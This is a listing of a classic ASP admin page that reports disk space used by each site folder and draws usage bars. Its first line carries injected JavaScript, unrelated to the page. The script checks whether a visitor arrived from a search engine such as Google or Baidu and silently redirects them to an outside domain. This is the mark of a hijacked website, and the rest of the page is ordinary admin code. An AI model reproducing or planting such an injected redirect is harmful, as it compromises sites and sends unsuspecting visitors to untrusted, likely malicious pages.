d:\wwwroot\wuchunhua\sendmail\spacesize_show.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc_CheckLogin.asp"-->
002: <HTML>
003: <HEAD>
004: <title>管理首页</title>
005: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
006: <LINK href="inc/Style.css" type="text/css" rel="stylesheet">
007: <script language="JavaScript" src="inc/js.js"></script>
008: </HEAD>
009: <body>
010: <%CheckString("08")%>
011: <table width="99%" border="0" align="center" cellpadding="5" cellspacing="1" class="tablebk">
012:    <tr>
013:       <td colspan="2" class="table_titlebg">系统空间的使用情况</td>
014:     </tr>
015: <%
016:     fsoflag=1
017:     if fsoflag=1 then
018:
019:     Function GetPP
020:        dim s
021:        s=Request.ServerVariables("path_translated")
022:        GetPP=left(s,instrrev(s,"\",len(s)))
023:     End function
024:     if sPP="" then sPP=GetPP
025:     if right(sPP,1)<>"\" then sPP=sPP&"\"
026:     set fso=server.createobject("scripting.filesystemobject")
027:     Set f = fso.GetFolder(sPP)
028:     Set fc = f.SubFolders
029:     i=1
030:     i2=1
031:    For Each f in fc
032: %
>
033:          <tr>
034:             <td width="23%" align="right" class="table_trbg02">目录<%=f.name%>占用空间:</td>
035:             <td class="table_trbg02"><img src="Images/StateBarL.gif" width="8" height="9"><img src="Images/StateBarM.gif" width="<%=drawbar(""&f.name&"")%>" height="9"><img src="Images/StateBarR.gif" width="4" height="9">&nbsp;
036: <%showSpaceinfo(""&f.name&"")%></td>
037:          </tr>
038: <%
039:     i=i+1
040:     if i2<10 then
041:     i2=i2+1
042:     else
043:     i2=1
044:     end if
045:     Next
046: %
>
047:          <tr>
048:             <td align="right" class="table_trbg02">程序文件占用空间:</td>
049:              <td class="table_trbg02"><img src="Images/StateBarL.gif" width="8" height="9"><img src="Images/StateBarM.gif" width="<%=drawspecialbar%>" height="9"><img src="Images/StateBarR.gif" width="4" height="9">&nbsp;
050: <%showSpecialSpaceinfo("Program")%></td>
051:          </tr>
052:          <tr>
053:             <td align="right" class="table_trbg02">系统占用空间总计:</td>
054:              <td class="table_trbg02"><img src="Images/StateBarL.gif" width="8" height="9"><img src="Images/StateBarM.gif" width="500" height="9"><img src="Images/StateBarR.gif" width="4" height="9">
055: <%showspecialspaceinfo("All")%></td>
056:          </tr>
057: <%
058:   else
059:     response.write "<tr><td width=""100%"" align=""center"" class=""table_trbg02"">本功能已经被关闭</td><tr>"
060:   end if
061: %
>
062: </table>
063: </body>
064: </HTML>
065: <%
066:     Sub ShowSpaceInfo(drvpath)
067:        dim fso,d,size,showsize
068:        set fso=server.createobject("scripting.filesystemobject")
069:        drvpath=server.mappath(drvpath)
070:        set d=fso.getfolder(drvpath)
071:        size=d.size
072:        showsize=size & "&nbsp;Byte"
073:        if size>1024 then
074:           size=(size\1024)
075:           showsize=size & "&nbsp;KB"
076:        end if
077:        if size>1024 then
078:           size=(size/1024)
079:           showsize=formatnumber(size,2) & "&nbsp;MB"
080:        end if
081:        if size>1024 then
082:           size=(size/1024)
083:           showsize=formatnumber(size,2) & "&nbsp;GB"
084:        end if
085:        response.write "<font face=verdana>" & showsize & "</font>"
086:     End Sub
087:     Sub Showspecialspaceinfo(method)
088:        dim fso,d,fc,f1,size,showsize,drvpath
089:        set fso=server.createobject("scripting.filesystemobject")
090:        drvpath=server.mappath("../pic")
091:        drvpath=left(drvpath,(instrrev(drvpath,"\")-1))
092:        set d=fso.getfolder(drvpath)
093:        if method="All" then
094:           size=d.size
095:        elseif method="Program" then
096:           set fc=d.Files
097:           for each f1 in fc
098:              size=size+f1.size
099:           next
100:        end if
101:        showsize=size & "&nbsp;Byte"
102:        if size>1024 then
103:           size=(size\1024)
104:           showsize=size & "&nbsp;KB"
105:        end if
106:        if size>1024 then
107:           size=(size/1024)
108:           showsize=formatnumber(size,2) & "&nbsp;MB"
109:        end if
110:        if size>1024 then
111:           size=(size/1024)
112:           showsize=formatnumber(size,2) & "&nbsp;GB"
113:        end if  
114:        response.write "<font face=verdana>" & showsize & "</font>"
115:     end sub
116:     
117:     Function Drawbar(drvpath)
118:        dim fso,drvpathroot,d,size,totalsize,barsize
119:        set fso=server.createobject("scripting.filesystemobject")
120:        drvpathroot=server.mappath("../pic")
121:        drvpathroot=left(drvpathroot,(instrrev(drvpathroot,"\")-1))
122:        set d=fso.getfolder(drvpathroot)
123:        totalsize=d.size
124:       
125:        drvpath=server.mappath(drvpath)
126:        set d=fso.getfolder(drvpath)
127:        size=d.size
128:       
129:        barsize=cint((size/totalsize)*500)
130:        Drawbar=barsize
131:     End Function
132:     
133:     Function Drawspecialbar()
134:        dim fso,drvpathroot,d,fc,f1,size,totalsize,barsize
135:        set fso=server.createobject("scripting.filesystemobject")
136:        drvpathroot=server.mappath("../pic")
137:        drvpathroot=left(drvpathroot,(instrrev(drvpathroot,"\")-1))
138:        set d=fso.getfolder(drvpathroot)
139:        totalsize=d.size
140:        set fc=d.files
141:        for each f1 in fc
142:           size=size+f1.size
143:        next
144:        barsize=cint((size/totalsize)*500)
145:        Drawspecialbar=barsize
146:     End Function
147: %
>
148:
149: